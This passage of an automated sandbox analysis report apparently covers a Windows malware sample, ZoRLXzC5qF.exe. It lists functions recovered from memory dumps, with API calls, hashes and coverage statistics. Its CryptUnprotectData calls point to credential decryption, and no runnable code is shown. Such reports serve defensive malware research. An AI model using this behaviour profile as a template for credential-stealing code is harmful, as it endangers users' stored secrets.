CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ZoRLXzC5qF.exe,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 00405EA8

Strings

C:\Users\user\Desktop, xrefs: 00405E92

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: f09b3c5ebc87e5286f4ae90cf2a9e4f9baad7a67d9a69d6c991adc66958b5f71
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: 40D05EB28019209ED3226B04EC0499F73A8EF123107868826E980A61A5D7785D818AEC

Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

Analysis Process: ZoRLXzC5qF.exePID: 3760, Parent PID: 6468COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.8%
Total number of Nodes:	114
Total number of Limit Nodes:	9

Executed Functions

Function 38DA5028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 38DA8408

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 873f9c3aaa83aa98eb179c1291f5408502a31b5ec1a2a2114ef9b3a82b156dd5
Instruction ID: ce2b534fcbfc2124721265ebe305e0fac5b6474d90ee25f2594b5efb1ef7f0aa
Opcode Fuzzy Hash: 873f9c3aaa83aa98eb179c1291f5408502a31b5ec1a2a2114ef9b3a82b156dd5
Instruction Fuzzy Hash: 1873C431D1075A8EDB11EF68C954A99FBB1FF99300F51C69AE44877221EB70AAC4CF81

Function 39C58EF1 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 39C58F5D

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 828bbdc04db0e8ca8f975130019078848f975f088ff0abafb981bf5f738b3e2e
Instruction ID: 489bc3493e7efee40b65942eda180fb9ed933973cca3c530f898e3846e937134
Opcode Fuzzy Hash: 828bbdc04db0e8ca8f975130019078848f975f088ff0abafb981bf5f738b3e2e
Instruction Fuzzy Hash: 1E1153B6800249EFDB10CF9AD800BDEBFF5EF48320F148419E958A7210C339A990CFA5

Function 39C587A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 39C58F5D

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 166b60297123423e5662d11ab666ad0543385df43c34252231a0d131a95368c3
Instruction ID: 778e1d7631abbca9aa95eec826f39495f826d42690077dd5514d4d4315e32275
Opcode Fuzzy Hash: 166b60297123423e5662d11ab666ad0543385df43c34252231a0d131a95368c3
Instruction Fuzzy Hash: D61144B6800249EFDB10CF9AD800BDEBBF5EB48320F148419E918A7211C379A950CFA5

Function 00159DE0 Relevance: 1.1, Instructions: 1137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b353b3e4d6d0eec6a257e9edd375be1b482fc79ee272b5fc2011329a0c09bcea
Instruction ID: 98aff859d3b9d891c8c2c4ae29f894c0904b108c75af0ec6bbce0cd9645de00c
Opcode Fuzzy Hash: b353b3e4d6d0eec6a257e9edd375be1b482fc79ee272b5fc2011329a0c09bcea
Instruction Fuzzy Hash: 32A29230640209CFCB15CFA8C994AAEBBF2BF88301F558659E815DF261D735ED89CB52

Function 39CED710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720200271.0000000039CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39ce0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cdfbdc1d57eb7ff3c5f06e406a03343c40e8cbe6c8061d5b296a6a9f2727ecd
Instruction ID: b525c244d4038df51ee8ce55b15350cd175e71412f3d1a73136f20956ed12cd5
Opcode Fuzzy Hash: 4cdfbdc1d57eb7ff3c5f06e406a03343c40e8cbe6c8061d5b296a6a9f2727ecd
Instruction Fuzzy Hash: 58827D74E012288FDB64DF69C995BDDBBB2BB89301F1081E9D80DA7261DB345E85DF40

Function 001529E0 Relevance: .7, Instructions: 685COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b36bb118506978de85b44be79de120c129758cdf9d41e04da09a35def8ffd12c
Instruction ID: a52ca842c368aa70b4c95c9ca2e8a1bb755a4ff7a5871c26a059ad8aa53fce9a
Opcode Fuzzy Hash: b36bb118506978de85b44be79de120c129758cdf9d41e04da09a35def8ffd12c
Instruction Fuzzy Hash: 86325D6680D7D48FCB678B7448E825B7FB16B92105BC945DFC4C78B687DB28C609C362

Function 001569A0 Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a00497faf823e71449af031038e6f410f14116365fa5bfb3177e174ac68c2b
Instruction ID: dafcab2164ce635a99b902431956ac2f72ea5872d98828b7a4f894beb6f04476
Opcode Fuzzy Hash: a6a00497faf823e71449af031038e6f410f14116365fa5bfb3177e174ac68c2b
Instruction Fuzzy Hash: 3F128F70A00219DFDB18DFA9C854BAEBBF6BF88301F508529E855DB391DB349D85CB90

Function 00156FC8 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43bff2eb1821075f99ee9e6ece9766ec64bfe66a81543f23620f9e5fda73d7c
Instruction ID: 3d6320ad5478c97b72ae3493dc301b1d9136e6fb4a69949df84d44eed77e33c4
Opcode Fuzzy Hash: d43bff2eb1821075f99ee9e6ece9766ec64bfe66a81543f23620f9e5fda73d7c
Instruction Fuzzy Hash: 3C027130A04215DFCB15CF68E885AADBBF2BF49312F158069EC25AB2A1D730DD89CF50

Function 38DA9548 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bac23055cf8429e103fb45c74eb8fa9cd6179e57943ae2ddd7c3f776e3cc9da
Instruction ID: 9a1cedff403aa1eac5230b93309ec3fac3505be55292f01f74e29567e51f6a71
Opcode Fuzzy Hash: 9bac23055cf8429e103fb45c74eb8fa9cd6179e57943ae2ddd7c3f776e3cc9da
Instruction Fuzzy Hash: F5F11674D01218DFEB14DFA9C880B9DBBB2BF88341F60C1A9E819AB355DB749985CF50

Function 39CC5FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7815621d3aca4982553b697292c9b1237afe0024db394523d5d017a199dadb4
Instruction ID: d8490e54392bd7ed0bf044333cb4db60ccb221c30db66ac9bcecf4efa59f4550
Opcode Fuzzy Hash: c7815621d3aca4982553b697292c9b1237afe0024db394523d5d017a199dadb4
Instruction Fuzzy Hash: 66E1AE74D00218CFEB24DFA9DA44B9DBBB2BF89304F2081A9D419B7351DB395A85CF54

Function 39C57B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03501d3abd5b9e2233342907e094fa8d7fae0318e5ff621bdddf29ebcfb0c022
Instruction ID: 6966e8fca618d162a8cda4bf6d07941573652abbd00dad77e0dd3aaa006f1992
Opcode Fuzzy Hash: 03501d3abd5b9e2233342907e094fa8d7fae0318e5ff621bdddf29ebcfb0c022
Instruction Fuzzy Hash: 19E1D074E00218CFEB14DFA9D944B9DBBB2BF89304F2080A9D419B7391DB395A85CF54

Function 39CC6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7bfdb1c4a962a9ee22aad2cd08e98c94356de6115e9a07939ef6d0220662ee
Instruction ID: b3284243ffe64ccfb8eb67245d89fcc60f9e5624f04b8bfebabe0fcb51314948
Opcode Fuzzy Hash: 7b7bfdb1c4a962a9ee22aad2cd08e98c94356de6115e9a07939ef6d0220662ee
Instruction Fuzzy Hash: 51D19174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CF1CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e89c073e920c8d055918d6ee106e25fe8205f08c526cc207501c82fef808328a
Instruction ID: cdd48716331284ac32b7e14b9fdd204ff00daebeaf8142d7e662870d97e386f3
Opcode Fuzzy Hash: e89c073e920c8d055918d6ee106e25fe8205f08c526cc207501c82fef808328a
Instruction Fuzzy Hash: 49D19174E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB355E81CF50

Function 39CC3238 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fe6a8130d3bdbcf727a307e20adff97afd467ad04baef512195ba01f6fcfe0
Instruction ID: 32b7b1bf7e2e9354bb5a7b01c2d1eb675b65762ea7d341ecd9001bebe6d26fe7
Opcode Fuzzy Hash: a3fe6a8130d3bdbcf727a307e20adff97afd467ad04baef512195ba01f6fcfe0
Instruction Fuzzy Hash: BDD1A078E00218CFDB55DFA9D980B9DBBB2BF89300F6080A9D419AB355DB395D82CF50

Function 39C58FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1b3be618592360c5c30ca835f5bb80eb5723ec1817e49035004cc8d4212cef
Instruction ID: 0464059e2b27556507ef88597202354beb1d3be249ebcc5438e7d4cb7d54a9ab
Opcode Fuzzy Hash: de1b3be618592360c5c30ca835f5bb80eb5723ec1817e49035004cc8d4212cef
Instruction Fuzzy Hash: CFD1AF78E00218CFEB54DFA9D980B9DBBB2BF89300F6080A9D819AB355DB355D81CF50

Function 39C52300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5db8f0c19993bd2037110d665716748bcfd72d44b184dba858f04d415f2051
Instruction ID: c10478a97ed7b5c876b1bad4b8439762563d2693cc1c94b9ea9dee28c8808869
Opcode Fuzzy Hash: 5a5db8f0c19993bd2037110d665716748bcfd72d44b184dba858f04d415f2051
Instruction Fuzzy Hash: 9BC19F74E00218CFDB14DFA5D995B9DBBB2AB89300F6080A9D409AB255DB399A81DF50

Function 38DA2968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dda05fba82be553dcffe97e4731b6774160e4042f0fa8d3457180791e5a3083
Instruction ID: b1c1b66b5e01b5fea11aa09388be13f9bea486e40b249593b96f5dcc39c7faef
Opcode Fuzzy Hash: 5dda05fba82be553dcffe97e4731b6774160e4042f0fa8d3457180791e5a3083
Instruction Fuzzy Hash: A0C1A174E00218CFEB14DFA5C955B9DBBB2BF89301F2081A9D819AB355DB399E81CF50

Function 38DA2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58f37048db6ee28176dedf10123102646036b48cae0e3b44e88b1a4ab5639672
Instruction ID: fe7f50545656d0daa5e1d7a225e11c63d5cf54d0f223a6f38269c6a934018b35
Opcode Fuzzy Hash: 58f37048db6ee28176dedf10123102646036b48cae0e3b44e88b1a4ab5639672
Instruction Fuzzy Hash: 97A1E274900208CFEB14DFA9C984B9DBBB1BF89314F208269E508B72A1DB759985CF54

Function 38DA1E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c08d91b4292662f88b45e1c9877c95780899d3c0572e628efddc3be237e2abb
Instruction ID: 4555d35bfb891b0f0b97b748453cee476285cf4dcd08b0381f686674863e247d
Opcode Fuzzy Hash: 6c08d91b4292662f88b45e1c9877c95780899d3c0572e628efddc3be237e2abb
Instruction Fuzzy Hash: 80A192B5D01218CFEB68CF6AC984B9DFBF2BB89300F14C1AAD408A7254DB345A85CF54

Function 38DA17A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fbe73a3275330394d9ce534e17191ebbe9c0011979af377f253242022209c8
Instruction ID: 07b205649ee9c9df714ef0636209f9599d40e5ee8741fa606215704f689c6a62
Opcode Fuzzy Hash: f0fbe73a3275330394d9ce534e17191ebbe9c0011979af377f253242022209c8
Instruction Fuzzy Hash: EDA192B5D01229CFEB64CF6AC944B9DBBF2AB89300F14C1A9D409B7250DB745A85CF51

Function 38DA2DC4 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f09994f119f21434f362dc3834ca4e51f8300d0bb9ff18c3482299d77a7f6c4
Instruction ID: 2cb7434612066c30760813be7bc3b32b252dbd604a010f6fc781be305776a771
Opcode Fuzzy Hash: 1f09994f119f21434f362dc3834ca4e51f8300d0bb9ff18c3482299d77a7f6c4
Instruction Fuzzy Hash: 04A1D274E002088FEB14DFA9C984BDDBBB1FF89314F208269E548BB291DB759985CF54

Function 38DA310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bdfa1aa5459e238c1cfe35d65b7171d3dc540876dd8dff558b206d36fa5cb25
Instruction ID: 4c289f9fb65064ec99fcf98e782017b861e4158d5d1d80815c21ec738c57d0bd
Opcode Fuzzy Hash: 2bdfa1aa5459e238c1cfe35d65b7171d3dc540876dd8dff558b206d36fa5cb25
Instruction Fuzzy Hash: 1591F274900208CFEB14DFA9C984BDCBBB1FF89314F208269E549BB291DB759985CF54

Function 39CFFB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9117d881de99778063d2ad8c3d4cb30ae290ebc519f2f61198c1465e9989d0
Instruction ID: fd461afc10578534a6b307fd6690508e48efb9e1e814216df0af1063ce856fe8
Opcode Fuzzy Hash: 6f9117d881de99778063d2ad8c3d4cb30ae290ebc519f2f61198c1465e9989d0
Instruction Fuzzy Hash: D481AF74E00218CFEB18DFA9D991B9DBBB2FF89300F608129D815BB254DB395986DF50

Function 39CF8470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae0f3654723a2e487d7e026dc34c823a89cbeb6782dddadbed0d8588e5e6ad7
Instruction ID: b847da0546416a8958b4fcf2b6039c7ef112b2a2d83ad340809acec023fb5f45
Opcode Fuzzy Hash: 0ae0f3654723a2e487d7e026dc34c823a89cbeb6782dddadbed0d8588e5e6ad7
Instruction Fuzzy Hash: 9081BF74E00218CFEB14DFA9D891B9DBBB2BF89300F608129E815BB254DB395986DF50

Function 38DAFC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50b23a6e601c515eb84f85e0caef84ee9ff3424e4b0ba8c95af6f091dded6fed
Instruction ID: 810a6d64a7fa4d218ec1e56aaffe46090294ac092422a699fb7873591f3c118d
Opcode Fuzzy Hash: 50b23a6e601c515eb84f85e0caef84ee9ff3424e4b0ba8c95af6f091dded6fed
Instruction Fuzzy Hash: D081AF74E00218CFEB18DFA9D891B9DBBB2BF89300F608169E815BB354DB395946DF50

Function 39CE70C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720200271.0000000039CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39ce0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea406983f871361cdd5ae9a1e7e3bab33dd98815f39fadbe99069a828924b7c4
Instruction ID: 2bd17ba9c41714ec3ccfc570bede3b5aad66f2f219d08b7aa0fee3cb3f441300
Opcode Fuzzy Hash: ea406983f871361cdd5ae9a1e7e3bab33dd98815f39fadbe99069a828924b7c4
Instruction Fuzzy Hash: F181A174E00218CFEB19DFA9D891B9DBBB2BF89300F608129D815BB354DB395946CF50

Function 00155362 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cacc600e77f966b47880797cdb90acd5584d027cbd948b97cde372244950ef0
Instruction ID: 4a2f43195f666cd98db71527de377c076ba45b421b6b62520e522f4fdfddd76d
Opcode Fuzzy Hash: 7cacc600e77f966b47880797cdb90acd5584d027cbd948b97cde372244950ef0
Instruction Fuzzy Hash: B691E874D00618CFEB18CFA9D894A9DBBF2BF89301F15C069D819AB361EB349985CF50

Function 0015C468 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b3d43d66619db7164184952814b8590149bf8207ed4d9b4a96c8d27022cc1f
Instruction ID: 830aa3618e3138c8405f71c62218588bcc16d9808a85f651d37c62c9e516a40c
Opcode Fuzzy Hash: c1b3d43d66619db7164184952814b8590149bf8207ed4d9b4a96c8d27022cc1f
Instruction Fuzzy Hash: 8981C474E00218CFEB18DFAAD884A9DBBF2BF89301F14C069E819AB365DB345945CF51

Function 0015C19B Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e2d67dea9a0cba97f31b1a2c7f9be4e0e97573651a78f2b214574eb99e62a3
Instruction ID: d46e722dbe419c4869ae2ad1658e64ba1942e5409bba78dc6eae774b5978b372
Opcode Fuzzy Hash: 56e2d67dea9a0cba97f31b1a2c7f9be4e0e97573651a78f2b214574eb99e62a3
Instruction Fuzzy Hash: C181B474E00218CFEB58DFAAD884A9DBBF2BF89301F14C069E859AB365DB345945CF50

Function 0015D278 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85bdbc3ff8dbd21474f06acea045b67eff66fc63dd73d5f214d3b9ca84836537
Instruction ID: ed9bdac4acf9ac3bcd16c98d160c5bff3037efa56a00071f6ae64999c0eb1f92
Opcode Fuzzy Hash: 85bdbc3ff8dbd21474f06acea045b67eff66fc63dd73d5f214d3b9ca84836537
Instruction Fuzzy Hash: 6381C574E00218CFEB18DFAAD884A9DBBF2BF89301F14C069E859AB365DB345945CF51

Function 0015CA08 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5c721a1ff4a79f888a7113ba07b68c74c85c02e66e6caf9ad26dc999d74a7c7
Instruction ID: a5c3e4e53035624eb01029bbca29c81d2a8478d859b4f08482aa10437671313f
